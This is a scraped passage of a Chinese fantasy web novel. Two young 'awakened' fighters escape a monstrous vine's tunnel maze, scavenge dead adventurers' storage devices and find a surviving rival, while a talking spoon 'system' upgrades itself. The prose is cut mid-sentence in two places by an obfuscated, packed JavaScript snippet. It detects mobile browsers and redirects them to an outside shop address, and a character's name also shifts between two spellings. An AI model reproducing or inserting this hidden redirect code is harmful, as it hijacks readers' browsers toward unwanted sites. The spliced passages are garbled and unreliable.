闻言,扈可为低头调试,他看着腕表上显示的两个小时,笑笑道:“还有两个小时,但你不用担心,我有带觉醒石能源。” 扈可为小心翼翼地拍了拍自己的胸口,胸前的口袋内可以明显看出有硬物起伏。 他把这东西单独随身带着。 觉醒石。 这是剧变之后天然形成的一种富含充沛能量的一种矿石,存在等级之分,是觉醒联盟乃至觉醒者们都赖以生存的一种昂贵珍稀能源。 它能为觉醒者抵御逆觉醒流的防护罩提供能源,也是联盟内部稳定中枢的基底。觉醒者的武器锻造、天赋进化也需要它。 觉醒石非常昂贵。 除去财富不菲的人,鲜少有人会随身带着觉醒石。陆燃竹在泗黑崖见过的大部分觉醒者,都是在出发前在索道站提前充好腕表的防护罩时间,在规定时间到来前尽早撤离可控区。 当然,这只限于低阶觉醒者,觉醒大师及以上的觉醒者们不需要太过依赖防护罩,他们的身体素质能够在逆觉醒流内待一定的时间,越高等级的能待越久。 眼前的扈可为拥有觉醒石,那就说明他是个不缺钱的人。 这让陆燃竹稍稍放下了顾虑。 “那我们还是抓紧寻找离开甬道的出口吧。”扈可为观察下周围的环境,神情严肃地说着。 “我是在可控区752被抓住的,那株痕叶藤的实力,已经远远超过精英级的,可能是首领级,或者……也可能是领主级。” 扈可为也没想到自己一个四级觉醒精英会在低级可控区栽跟头,他到可控区752本就是为了给自己的觉醒兽找口粮的,本来十拿九稳,未曾想暗地还杀出一株高阶痕叶藤,他一点反抗的余地都没有,直接被擒住了。 要不是自己眼疾手快,把阿灰召唤出来当后手,他现在就不会在这里了,而是被拖到痕叶藤的贮存仓,化成一滩脓水。 扈可为话中的意思被陆燃竹精准捕捉到,他问:“你是觉醒精英?” “对。” 扈可为点点头,他话音刚落,就瞧见眼前的卷发少年突然抬头一动不动地看着自己。 尽管那乱糟糟的头发挡去了他的眼睛,可他还是能感受到几分热度。 怎么了? 难不成觉醒精英……低了? 十六岁的男生一下紧张起来。因着陆燃竹救了自己,他已经默认卷发少年的实力很强,不然不可能能在首领级痕叶藤的甬道中来去自如。 还能找到自己。 一定实力很不错。 扈可为莫名有些忐忑,他犹豫地想要开口证明自己的实力其实还不赖,却见眼前的卷发少年收起了手里那把豁口满满的砍骨刀,随后提出了一个让他摸不清头脑的问题。 “那你能处理两只正发情的合象吗?” “大概是学徒级的。” 哈? 学徒级的发情合象? 他们不是还在痕叶藤的甬道里面吗?和发情合象又有什么关系? 扈可为一脸迷茫,但还是点了点头,“可以。” 只是学徒级,他能够应付。 听到扈可为肯定的回答,陆燃竹在心中松了口气,他本想找个同行的队友,增加寻找出口的概率,但没想到遇到的扈可为是觉醒精英,这样一来,他们或许不必再继续深入可控区752,可直接返回856,回到陆燃竹一开始出发的地方。 这样相对安全,毕竟一路走来,856内属于痕叶藤的活动痕迹要比752的要少。 这样想着,陆燃竹也将自己的计划如实告诉陆扈可为,他不需要扈可为的人情,但需要他的帮助,顺利解决掉那两头发情合象,对他和扈可为都是一个好消息。 而扈可为却越听越震惊,他瞪大双眼,“不是,兄弟,你是从856一路走到这?” 被打断的陆燃竹一脸疑惑,“对。” 对什么对。 扈可为看着眼前仿佛觉得这一切理所当然的卷发少年,开始怀疑自己的常识。他看着前后左右不知道通往何处的甬道,纳闷了。 不是,不是说越高等级的痕叶藤,创造的甬道迷宫越发复杂吗? 不是说没一两天走不出去吗? 怎么在陆燃竹嘴里,从856走到752十分简单呢? 那可是横跨两个可控区啊。 扈可为咽下口水,忐忑地又问了一句,“兄弟,你什么等级?” “我?”陆燃竹指了指自己,没有半分犹豫和隐瞒,“我刚刚觉醒。” 他话音一落,扈可为立刻死鱼眼。 骗谁呢。 一旁的灰鸡也不相信,和主人同款死鱼眼地看着陆燃竹。 陆燃竹:“?” 不是,他真刚刚觉醒,不信问金勺勺。 “兄弟,你我之间不必很有隐瞒。” “不是,我真……” “你说你刚刚觉醒就能在至少首领级的痕叶藤迷宫内横跨两个可控区,我可不信!”扈可为脑袋十分清晰。 “……” 说不出自己眼睛秘密的陆燃竹也不知道该怎么解释,只能亮出自己觉醒腕表上的觉醒者身份,“我是特殊种族,能不迷路,只是因为我对856的地图十分熟悉而已。” 觉醒者身份不会骗人。 而扈可为在看清的那一刻表情更便秘了,他沉默了半响,然后果断抬手扫了那界面上的好友码,“兄弟,加个好友。” 陆燃竹:“……” 加好友干什么? 卷发少年对扈可为的行为存在万分的不理解。 扈可为却笑得格外灿烂,他想哥俩好地揽住陆燃竹,又思及自己脏臭的衣服止住了动作。 特殊种族那更好了。 他没好意思去细问陆燃竹的种族,毕竟刚刚认识,想知道以后还有大把时间呢。年长的男生打心底对陆燃竹感到佩服,他不像同龄学生对觉醒者等级存在推崇,觉得等级高的觉醒者就是强。 天赋强不强,到底还是要看使用者自身。 就算等级低又如何,再给些时日,谁高谁低还不一定呢。 陆燃竹刚刚觉醒就能做到这般,已经比他十三岁的时候强百倍了。 “兄弟,你放心,接下来我和灰鸡定会保护你的。” 他拍拍胸口,下了保证,满眼真诚和认真。 把这一切都看在眼里的金勺勺:切,油嘴滑舌。 看不见表情的陆燃竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338386|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更是毫无温情可言,他立马起身,“那走吧,时间不等……” 卷发少年的话还没说完,整座甬道迷宫突发震动,强烈的震感甚至开始动摇甬道墙壁,大块的碎石和湿泥掉落下来。 与此同时,陆燃竹眼中的世界也骤然发生变化。 原本简洁的颜色信息在眨眼间变得复杂,那些蠕动的能量团瞬间扩散,满目红光伴随着一声尖利的哀嚎声一同袭来,强大的冲击感,让陆燃竹眼部的疼痛更加剧烈。 瞬息万变,无数空间接口在甬道内展开。 扈可为和陆燃竹根本来不及反应,属于痕叶藤黑色的藤条由远及近地冲来,速度之快,只有反应最快的阿灰在匆忙间变化身形,把还一脸惊愕的扈可为牢牢护在身下。 而被剧烈疼痛突袭的陆燃竹只能往旁侧一避,险而又险地躲开藤条的袭击。 金勺勺大喊:“宿主!” “我操——兄弟!” 慌乱的喊声在地动山摇中微乎其微,等属于痕叶藤的藤条穿过他们两人朝远处奔去后,刚刚他们所在的空间已经一片狼藉。 “宿主!你没事吧!” 金勺勺看着眼前那乱糟糟的、充满灰尘的视角,焦急地问。 “咳咳——” 陆燃竹轻咳几声,他脸色苍白,双手抱着一个破了洞的铁锅,呼吸有些不稳地回了金勺勺一句,“没事,勺勺,你这个锅来得很及时。” 卷发少年虚弱地笑了笑,他挣扎起身,眼部却因刚刚的信息冲击而麻木疼痛。 金勺勺转化视角,在看到宿主那苍白脸上流淌下来的两行血泪后,声音颤抖,“可宿主你都流血了。” “可能这就是开天眼的一个小代价吧。” 陆燃竹拭去脸上的血色,他深呼吸地调动那冥冥之中的能量,想要削减这股副作用,发红的视角随着平稳的呼吸慢慢变得明亮,等陆燃竹再睁眼时,他的左眼已恢复到平常的模样。 开始看得清人了。 “我去!兄弟!陆燃竹!” 烟尘散去,属于扈可为慌乱的声音也传了过来。 高陆燃竹一个头的男生大力搬动巨石,在看到角落里略显狼狈的卷发少年时猛地松一口气,“还好你没事。” 嘴毒的金勺勺一脸嫌弃,“说是要保护你的,人都看不见,还不如我呢。” “是吧,宿主。” 争宠的语气让陆燃竹忍俊不禁,他摆摆手,在向扈可为示意自己没事的同时回答着金勺勺。 “对,他不如你。” 扈可为还没能弥补自己刚刚没保护陆燃竹的错误,卷发少年自己就站起来了,他苍白着脸,看起来确实有些不太妙。 少年的异样也被刚刚反应最快的阿灰映入眼底,灰鸡有些惭愧,咯咯两声向陆燃竹表示歉意。 这回不用金勺勺描述,陆燃竹也看清阿灰和他主人长什么样子了。 他对上毛茸茸的阿灰的小豆眼,又重复了一句,“我没事。” “抱歉啊,兄弟,说是要保护你,下一秒就打脸了。”扈可为也挺惭愧的,惭愧自己在匆忙下没帮陆燃竹一手。 一人一鸡的愧疚让陆燃竹有些不适应,他鲜少触碰这些情感,但卷发少年一时也不知道该如何应对,只是抿了抿嘴,“刚刚那波护住自己都难。” 还哪来的及护住别人。 这没什么可愧疚的。 潜藏的含义无需道明,扈可为也清楚。 或许是患难见真情,又或许是少年不同于外表的坦诚和直率,扈可为对陆燃竹的观感更好了,他真诚地道,“陆燃竹,如果能顺利出去,我们就是朋友了,以后你有什么需要我帮忙的,尽管说。” 他字字赤忱,是实实在在的真心话。 然而迟钝的某人没接收到信号,他已经在勘查周围环境了。 卷发少年环顾四周,在看到回856的方向处已布满密密麻麻的红光痕迹发了愣。 见状,扈可为问:“怎么了?” 他顺着视线也跟着朝那个方向看,却没看出个所以然来。 “856回不去,痕叶藤往那边逃了。” “逃?” 是的,没错,就是逃。 刚刚那株痕叶藤,在逃命。 10. 第 10 章 第10章 烈日当空,可控区管理中心一如往日那般整洁有序。五边形的内部建筑内,一层是亮堂的大厅,二层是各个等级的可控区管理办公室。 透明墙面内,摆满整面墙的监测器清晰可见。 代表安全的绿色圆灯在大厅中央亮着,那是每个可控区负责人得以自在享受的重要指示灯。负责低级可控区的王彼鱼正悠闲地跟其他几个负责人说着话,他小口小口地抿着手里的昆阳茶,眉眼间是散不开的轻松和惬意。 “老王啊,最近事不多哈。”被人蹭茶的中级可控区负责人脸上带笑,语气却发酸。 王彼鱼笑笑,又低头喝了口茶,“哎,这不没办法吗,我能力不及在场各位,也就清闲一些。” 他意有所指,举起的茶杯示意高级可控区的方向,隔着透明墙,里面的工作人员早已经忙成陀螺,高级可控区负责人更是眉头紧皱,拿着纸质报告大声地训斥下属。 “老高不容易啊。” 他们的工作说简单也简单,说复杂也复杂。 可控区管理中心的职责是监测各个可控区内的逆觉醒流浓度和异常信号,就像如果存在异常则向觉醒协会发布公告,警示觉醒者可控区内的危险。在外人看来就像是个清闲的工作。 但事实上,监测也有难度。 他们驻扎在可控区内的监测器时常被灾兽或者进入历练的觉醒者们一不小心给毁了,又或者因区内地形的骤然变化,又一个不小心被埋到地底了。 单是保证监测器安安稳稳,就费了老大的劲。 数据这种东西又是要求精准,需要时间又需要设备。搞得他们这些本该在室内工作的,经常出外勤。 王彼鱼负责的低级可控区还好,里面的灾兽和觉醒者实力都不离谱,时常迭代升级的监测器很坚强,这也是整个负责人办公室内他最轻松的原因。 脸色红润的王彼鱼笑得和蔼可亲,正当他还想在蹭两口昆阳茶时,底层中央的那个监测灯突然红光大作。 哔哔哔—— 耀眼的红光瞬间笼罩整个一、二层。 几个负责人第一时间看向高级可控区的管理办公室,王彼鱼也是,他手里的茶杯都没放下,眼神跟随着朝老高的方向望去,却只瞧见那个焦头烂额的同事哐哐敲着墙面,瞪大双眼焦急地指着自己。 ?指我干嘛? 王彼鱼不解。 没等他反应过来,一旁的中级可控区负责人突然‘我操’了一声。 “老王啊,是你的区域啊!” “领主级的异常信号!” 领主级? 王彼鱼心神大乱,他腾地一下起身就往自己的办公室跑去,果不其然,满墙的监测器正闪烁着警报,没见过这场面的工作人员面面相觑,一致把眼神投向刚刚进门的王彼鱼。 “愣着干什么!发公告啊!” 王彼鱼厉声大吼道。 低级可控区出现领主级灾兽信号源,这可不是小事! 其他没事的负责人也赶紧跑了过来,他们站在王彼鱼旁边看着那个正处856和752之间的异常信号源,脸色凝重。 “老王,怎么回事?” 王彼鱼翻看着下属给的报告,“我也不清楚啊,放在两个可控区内的监测器压根没有反应,只是一个领主级,不应该啊。” “那它是怎么被发现的?” “是有人发了异常报告。”王彼鱼翻看到几分钟前的后台消息,看着那个熟悉的名字手一顿。 “谁?” “是靳洲。” 与此同时,陆燃竹和扈有为正继续朝可控区752的方向继续深入。 两人都放弃了返回可控区856的计划。扈有为对陆燃竹的推断深信不疑,毕竟痕叶藤刚刚的那场袭击根本毫无目的性可言,直接忽略他们往856方向跑,这可不符这类灾兽的狩猎习性。 跟罪魁祸首在可控区752拉扯半小时后被逮住的扈有为深有体会。 虽然失去了一个已知的逃生出口,但他们面对的情况也不至于太过糟糕。 有人在追杀痕叶藤,这是个好消息。 起码痕叶藤不会关注他们。 又一次被半人宽的藤条挡住路,扈有为和陆燃竹已经能轻车熟路地举起了刀。扈有为拿着陆燃竹给的砍骨刀剖开藤皮,在看到那被腐蚀一半的人体之后叹了口气。 “燃竹,这个也活不了了。” 卷发少年闻言手没停,他挥舞着刀把顶上的藤条砍断之后,又踹出了一个供人继续前进的洞口。 可控区内不缺尸体和白骨,即使这片区域受人监测。 但监测只是给予觉醒者的一份风险通知书而已,没有人会为你的生命负责,既然决定进入可控区,就要承担自己被灾兽吞噬、被其他觉醒者构陷,或者是一不小心失足坠亡的风险。 死亡,在可控区是常事。 力量的获取,从来都需要代价。 陆燃竹回头看着他和扈有为开辟出来的一条道路,痕叶藤的逃窜,使得一些原本被藏在甬道墙壁内的藤条裸露出来。 那些都是痕叶藤的消化腔。 和扈有为之前待着的地方一模一样,不过他们没扈有为幸运,陆燃竹和扈有为一路翻过来,都没看见里面存在完整的人体,全都被转化为痕叶藤的养料。 “继续往前走吧,我们估计离痕叶藤的贮存仓不远了。” 有消化腔便有排泄口,这座甬道迷宫,按人类的构造来说,便是它的体内。而在陆燃竹眼睛的指引下,他们二人越来越接近痕叶藤贮存仓的位置。 贮存仓是痕叶藤储藏猎物的地方,距离排泄口很近,找到它就能找到排泄口。 是的,陆燃竹和扈有为打算从排泄口出去。 又脏又臭的两个人完全没有什么面子和尊严可言,满脑都是逃出这个甬道迷宫。 管它是不是排泄口,能出去就行。 活着才是最重要的。 陆燃竹抬头看着视野中的颜色信号,贮存仓的位置越发清晰了,大概再沿着这条甬道继续走一百米,他们就到达痕叶藤的贮存仓了。 “好。” 卷发少年的话,扈有为深信不疑。 一路走来,卷发少年简直就像个bug,如同开了天眼,找路从不会停歇。 说要找到排泄口,真就一路顺畅地找到了痕叶藤消化腔的聚集地,半点停顿都不带。 处理和决断还十分爽快,说干就干,说走就走。 执行力惊人。 扈有为紧跟前面那个单薄的背影,内心深处对少年过往的探究欲甚至远远强于对其种族的好奇。 他眼睛亮亮的,盯着陆燃竹后背的眼神带着几分热度。 这一幕被时刻警戒着的金勺勺看在眼里,美食开拓系统又开始叨叨地在宿主耳边吹风,“宿主,那个扈有为看着不对劲,他老盯着你。” “我这般引路,旁人都会好奇。没什么事。” 陆燃竹淡淡地回道,他眨着眼睛,眼睛的异常已经持续了将近一个多小时,这已然超过以往出现的时长。 异常和异样,让仍处于困境之中的卷发少年提起了危机意识。 现在他唯一能依靠的,便是这双眼睛,所以他不能坐以待毙,和以往一样等待它在危机中出现,而是要去掌控。 少年此刻已明确眼睛的异常和那能适应逆觉醒流一样,是属于特殊种族的一种天赋。既然是天赋,那就能够掌握。 得由他来主导何时使用这个力量。 他再次尝试开启眼睛的能力,若隐若现的颜色视野宛若抽帧一样闪烁了几下,在意识的操控下消失,又在几秒之后缓慢地出现,从右眼蔓延着左眼,到整个视野完全笼罩。 这样的过程,陆燃竹一边赶路一边重复。 飞快的掌握速度,似乎想要让这具身体适应能量调动的流程。 无声落下的血泪被少年擦拭干净的手拭去,在发丝下留下淡淡的痕迹,和那疼痛一起,哭诉着身体主人的残酷。 一人一统,一人一鸡。 在接着走了十分钟后,阿灰的一声咯咯,昭示了他们到达了目的地。 钻过由陆燃竹开辟的洞口,扈有为看着眼前足足有两百平方米的空间,倒吸一口凉气。 昏暗的甬道内,到处都是散落的杂物,有来自觉醒者身上掉落的武器,也有各种各样的颜色艳丽的果子、昆虫,甚至连小型的灾兽都有。 扈有为眼尖地发现自己那失踪的储物器,十分惊喜地上前拿起,“我去,阿灰,你看,你和我的宝贝都在这呢!没有丢!” 阿灰的豆豆眼也猛地亮起,一人一鸡围着那个储物器双眼含泪。 而另一边,陆燃竹在那一众不知是什么东西的果子前缓缓蹲下,他语气轻轻的,像是怕扰乱了眼前的景象。 “勺勺,你看。” 金勺勺也难掩惊动,金色的勺子抖成残影,激动的声音带着哭腔。 “嗯,宿主,我看到了。” 它看到了它要发大财了! 谁想到痕叶藤会屯这么多东西便宜他们了! 像是应和着他们激动的内心,一连串愉悦的提示音在一人一统的耳边响起,像机关枪一样,接连不断。 【嘀——检测到新种类‘毛果’,理解度+5,经验值+5,积分+5。】 【嘀——检测到新种类‘和桃莓’……】 【嘀——检测到新种类‘勒勒芯’……】 【嘀——检测到新种类……】 【嘀——您已升级,当前等级为美食开拓者五级!】 升级的提示音响起,金勺勺顿时更加激动了,只是没等它去查看升级是否解锁了其他板块,接连而来的警告又瞬间刷屏了整个界面。 【检测到系统数据库存在数据不足,难以对剩余种类进行检测识别!】 【检测到系统965748号与主神存在断联!】 【检测到系统965748号进入世界的链接程序存在漏洞!】 红光在陆燃竹眼前炸开,卷发少年眉头微皱,正欲问问金勺勺是什么情况,就见眼前的红色弹窗转眼被蓝色弹窗替代。 【系统965748号,请告知宿主陆燃竹,是否用积分和经验值进行系统自应性升级?】 升级? 陆燃竹更不解了。 而金勺勺也在怔愣之后快速反应过来,它没有立马进行回答,而是转头看向那些被封锁的板块,在看到本应解锁的板块仍处于封锁中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338387|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,一个大胆的想法突然从它脑中浮现。 一直以来困扰的问题在此刻仿佛拥有了一个破口的机会。 金勺勺不抖了,它问:“宿主,要不要赌一把?” “赌?赌什么?” 陆燃竹还是没能理解。 “赌升级,赌升级后我给你提供的助力会不会增加。”或许是喜悦之后又接冲击,金勺勺的语气还是难掩抖动。 自应性升级。 是系统在脱离主神控制之后的一种系统智能反应。在以往,金勺勺根本不需要这个功能。世界的穿梭本就充满挑战性,每个系统去到的世界都存在原本的生态,一些功能对宿主的帮助也会因此变化。 金勺勺来到费斯拉大陆面临的便是这样的问题。 它那些以往在和平安全世界所便利的板块和功能,到拥有觉醒天赋体系的费斯拉大陆根本不适用,能给陆燃竹提供的工具库,也在稍强一点的痕叶藤面前和纸扎的一样。 所以美食开拓系统一直很苦恼。 以往这种现状,它可以直接报告给主神,由主神给予一个最合适的升级方案,既适用费斯拉大陆,又能给宿主给予最大的助力。 但它失去了与主神链接的渠道,这个解决方案就一直没能实现。 直到现在,系统内部自身存在足够的能量,已经发觉与费斯拉大陆不契合这一问题,开始自发提出进行自应性升级。 与主神提供相比,自应性升级肯定不能全面周到。 这存在赌的成分。 但赌。 总比现在给宿主提供不了助力好。 以后宿主面临的危险肯定比现在要大,要是它还是如此的话,会拖宿主的后腿。 金勺勺不想这样,它很喜欢陆燃竹。 很喜欢,所以它不想当宿主的绊脚石。 不想工具库升级到最后,连灾兽的脚皮都穿不透。 金勺勺的不甘像是隐隐透过未知的联系沁入陆燃竹的内心,卷发少年眼神停在那把金色勺子上,随后在金勺勺的忐忑中,轻声地回答。 “好。那就升级看看。” 少年语气轻松,像是根本不介意那些他们好不容易积攒的积分和经验。 金勺勺一惊:“真的吗?宿主!那可是你好不容易积攒的!” “是我们。”陆燃竹纠正,“而且还是这一天内。” “没什么得失可纠结的,我们今天能攒,明天后天甚至以后都能。” “去做吧,勺勺。” “我们尝试看看,错了也没关系。” 金勺子颤抖了下,它哭唧唧地仰头看着陆燃竹,眼泪汪汪,“可宿主,要是我变得更废物了怎么办?” “废物?” “只要你不要连陪我说话的功能都升级没了就好。” 陆燃竹自小的生活经历让他对捷径始终持着远离的态度,一开始他以为金勺勺是自己的天赋,所以他会问它能不能帮自己赚钱。 但在确定天赋之说只是个乌龙之后,他就放弃了继续问金勺勺赚钱的法子了。 没有必要。 那终归不是自己应得的能力,就不该去要求,甚至指责。 残酷点来说,陆燃竹起先是把金勺勺当会说话的宠物来看待的。 陪伴是用钱换不来的东西。 短短一天的相处,陆燃竹已经开始喜欢这种有人陪自己说话的感觉,所以,他并不觉得金勺勺给不了自己太大的帮助。 它已经付出了它获取能量值的报酬。 “赶紧的,想做就去做。” 内心丰富,但身体意外讨厌煽情的卷发少年正色道,他忍下觉得自己有些矫情的反胃感,直接自己在蓝色弹窗上按下了确认按钮。 【嘀——宿主陆燃竹确认进行自应性升级,现将所有积分和经验值用于系统升级!工具库已关闭,请宿主耐心等待!】 升级的提示音开始之后,整个界面顿时就灰暗了下去,显得金勺勺更加显眼。 “勺勺?” “哎!” 行,能说话。 陆燃竹放心了,他看向周围,正欲找找还有没有什么趁手的武器,就看到满脸兴奋的扈可为神情微妙地走过来。 他拿着自己的储物器,神神秘秘地,略带些猥琐。 扈可为压低声音说:“燃竹,你要不要做些好事?” 陆燃竹:“什么?” “就,帮痕叶藤回收垃圾啊。”扈可为手指绕着一个小巧的机器,指着那角落一堆被腐蚀外壳的储物器。 “我能解锁,我们四六分,你六我四。” 他正色道,刚正的脸上看不出一丝心虚。 闻言,陆燃竹也有点心动,但少年又想起自己没有储物器,他身上那个还是千千古物屋的,到时候还回去就没地方放了。 不是什么好人的卷发少年在心底已经把那些储物器打了死刑,都回收垃圾了,就不能被原主人或者原主人的亲戚察觉到。 不能用那些东西。 正当陆燃竹犹豫该怎么办时,系统的提示音骤然响起。 【自应性升级进行到10%,解锁可堆叠背包!】 陆燃竹:! 缺啥来啥。 正正好。 11. 第 11 章 第11章 可堆叠背包。 这个词陆燃竹不至于听不懂,市面上的储物器多样丰富,虽然价格昂贵,但都是觉醒者们出行必备的工具。只不过价格往往与内部的空间相挂钩,堆叠技术,陆燃竹只在广告上看到过,每一个对他来说都是天价。 他以前从未想过自己会有一天会拥有这样的储物器。 看着焕然一新的界面上出现的那个口袋标志,陆燃竹又惊又喜,他眨了眨眼,对金勺勺说,“勺勺,你这升级,可真不赖!” 金勺勺也没想到这自应性升级如此贴心,虽说以往它也不是没有为宿主提供过这类东西,但这东西一般都需要升到一定的等级才能获取,现在居然这么轻易的解锁了。 美食开拓系统在接受宿主夸奖的同时悄悄看了眼剩下的经验值和积分,在看到那个数字时眼前一黑。 它碎碎念了一句。 这升级应该不至于倒扣经验值吧。 有了可堆叠背包,陆燃竹原本的顾虑也没有了。野外拾取其他觉醒者掉落的东西,这种事在觉醒者中并不少见,甚至有人以此为生,时常往危险且人流量大的可控区里去捡漏。 当然,报私仇或者互抢这种事情也很常见,所以必须处理干净才行。 他在金勺勺的指导将原本在千千古物屋提供的临时储物工具中的东西都进行了转移,一大堆杂七杂八的东西经过整理,居然还有不下十个空格可以给陆燃竹他们进行垃圾回收。 陆燃竹没接受扈可为四六分的提议,解锁的工具是扈可为提供的,五五分就可以。两人秉持着公平公正的原则,用剪刀石头布瓜分了那堆被腐蚀外壳的储物器。 中间看到对方需要的,也会进行交换。 相当和谐有爱。 彼此都收获满满。 收刮完毕,刚刚还乱糟糟的贮存仓顿时变得异常空旷,那些被废弃的储物器也被陆燃竹两人处理干净了。 陆燃竹和扈可为相当谨慎,把其中一些可能与原主相关的东西都留在了储物器里面,没去动它。扈可为还和陆燃竹约好,等出去再一起约去黑市,把东西处理了。 外表刚正的男生朝陆燃竹眨了眨眼,看起来对这种事情非常熟练。 对此,陆燃竹自然乐意。 不过在畅想未来之前,他们还是得从这迷宫甬道内出去才行。 而在继续前进之前,陆燃竹还看到了扈可为的天赋能力,他的天赋属于召唤系的,是一把哨子,竹节式,亮黑的外表,看起来朴素又神秘,随着等级提升甚至能召唤多只觉醒兽,阿灰是他的第一只觉醒兽,兼具防御和隐身,攻击力不高。 但觉醒者也不仅仅靠自身的天赋来战斗,扈可为找回他的储物器后,其费重金求得的武器也正式在陆燃竹面前亮相,黑红色的匕首,自带降低存在感和麻痹毒性,能充分发挥阿灰作用的同时还兼具攻击性。 扈可为自豪地展示自己的宝贝,介绍着他的作用,而陆燃竹却巧妙地抓住其中的不对劲。 按道理,扈可为有这样的能力,不该会被痕叶藤逮到才对啊。 这样想着,陆燃竹也直接问出来了。 “所以你能隐身,怎么还会被痕叶藤逮住了?” 闻言,还想再次夸下海口负责陆燃竹安全的一人一鸡都沉默了,扈可为看看灰鸡,又看看地面,“这个吗?发生了一点小小的失误。” 扈可为难以启齿,他总不能说是因为他给阿灰找虫子型灾兽掘地三尺,自己扰动痕叶藤吧,这样有点太蠢了。 “诶,就莽撞了点,阿灰找食物太入迷了,一不小心就进入痕叶藤的狩猎范围了。” 他斟酌着语句,仗着陆燃竹听不懂阿灰的话,不知羞耻地把责任安在了阿灰身上。见状,毛茸茸的灰鸡快准狠地朝扈可为的膝盖啄去,眼神里面满是嫌弃。 金勺勺:“他一定是在说谎。” 嗯,他也看出来了。 陆燃竹默默表示赞同。 闲聊暂时放后,排泄口已经近在眼前,这回由扈可为当先锋,陆燃竹站在了后面,阿灰站在中间,用能力把两人都罩住。当那银色的能量流缓缓萦绕在自己周围时,陆燃竹险些克制不住去触摸。 他的手缓缓伸出,却在即将触及的时候猛地收回。 阿灰回头:“咯咯?” “没事。”陆燃竹笑笑,他只是差点忘记了,他本看不见这些东西的。 走出贮存仓,还有一条长长的甬道。 和之前一样的几段半人宽的藤条挡住了他们的去路,而陆燃竹和扈可为已经非常熟悉眼前都是些什么东西,无需提醒,两人提着刀就开始剖。 都用从储物器里顺来的刀。 只是这回,他们剖出了不一样的东西。 锐利的刀在藤皮发出流畅的刷刷声,刀起刀落的期间,难闻的气味一股接一股地传来。 “要我说,这痕叶藤可真能屯,我们一路走来,看到的消化腔也不下百个,它可真能吃。” 扈可为吐槽道,经历近百次的重复动作,他的动作失去了一开始的小心谨慎,尖刀抵在液泡内人的胸口上时,还险险划破了皮肤,红色的血液瞬间顺着汁液一同流了出来。 “抱——”扈可为后半字还没说出来,眼睛骤然瞪大,他盯着刀尖下起伏的皮肤,一声我操响亮又高昂。 “燃竹,这有个活的!” 活的? 陆燃竹闻言停住刀,他先是盯着自己剖出的人,确认和之前一样失去呼吸后,才移步走到扈可为身边,卷发少年微微侧头,扈可为则欣喜地指着里面被腐蚀半边脸的那人,“你看!” 熟悉的面容随着扈可为的翻动展露在陆燃竹面前,陆燃竹微微蹙眉,眨着眼睛,突然又一声我操在他耳边响起。 “宿主!是那个讨厌鬼!就那个何什么!” 是金勺勺。 美食开拓系统认人的能力一流,陆燃竹慢了一拍才认出眼前人是何斛。 平日趾高气昂的男生如今十分狼狈,半张脸几乎被汁液所腐蚀,要不是还在起伏的胸口,陆燃竹几乎都以为他已经死了。卷发少年蹙紧了眉头,他快步走到其他还没剖开的藤条面前,动作迅速地一一剖开,直到把何斛周围的藤条都剖开了才停手。 藤条有十个,而活着的只有两个。 陆燃竹听小鸣说过何斛他们加入了一个队伍,那是何斛经常拿来炫耀的谈资,是个六人队伍,等级有高有低,最高的是五级觉醒学徒,剩下的人大都是三级觉醒学徒,其中谷添的等级最低,那个时常跟在何斛背后的男生只有二级觉醒学徒的实力。 而现在,活着的只有两个。 何斛和谷添。 陆燃竹盯着何斛身上的小队徽章,猛地想起在先前他和扈可为经过的甬道内,那些消化腔藤条内,他也见过身上带着这样徽章的人。 “嘶——”扈可为也想起来了,他指着何斛身上的徽章,“燃竹,我们之前是不是见过带着这样徽章的人?” 人?不,是尸体。 间隔数百米,完全截然不同的两个位置,同属于一个小队的队员,却分隔两地,六人,只活下来两个,还是半残。 扈可为脑子转得极快,他很快也意识到这一点,直率的男生啧啧两声,“我去,这几人不会内斗了吧?” “死的四个抛弃了这两个?” “还是活着的这两个抛下了那四个?” 陆燃竹没有回答,答案已经很明晰了,等级低的何斛和谷添是被抛下的那个。而他们被抛弃却成了唯二活下来的两个。 真是讽刺又幸运。 扈可为从陆燃竹的沉默中得出来答案,他小心观察着卷发少年的表情,见他从发现生者就一直没说话,不由得问道:“怎么,你认识他们?” “怎么,你认识他们?” 何斛从窒息中醒来听到的第一句话,便是这句。陌生的男声回荡在耳边,隆隆作响像隔了个水膜,脸上的剧痛没有磨灭他的嗅觉,难闻的气味熏得他想吐。 脑里的回忆还停留在田炳那几人毫不留情把他们踹倒的背影,以及谷添那一声凄厉叫自己快跑的喊声。 随后便是幽蓝色的魔鬼将他们吞没。 浑浑噩噩的思绪,让他下意识去感知自身的存在。 他还活着吗? 谁在说话? “燃竹?” 燃竹?谁?是陆燃竹吗? 熟悉的名字被陌生的男声唤起,何斛混沌的脑子瞬间清醒,他猛地睁开眼,嘶哑难听的声音从他胸腔内迸出,也将眼前的陌生男生吓了一跳。 “嚯!他醒了。” 何斛眼前明明灭灭,他看着眼前的陌生人伸出手在自己面前晃悠,正想开口,却瞧见那站在男生背后的卷发少年。 难听嘶哑的呼吸声瞬间止住。 那是陆燃竹。 尽管那个人脏兮兮,他还是认得出来,那是陆燃竹。 他被救了,救他的人,是陆燃竹。 是他最讨厌的陆燃竹。 这个认知让何斛内心深处顿时浮现出一股巨大的难堪感,他愣愣地盯着卷发少年,在扈可为的询问声中不敢出声,撑在地面上的手死死地抓着泥土。 这一瞬间,他的呼吸都停止了,脑中思绪万千。 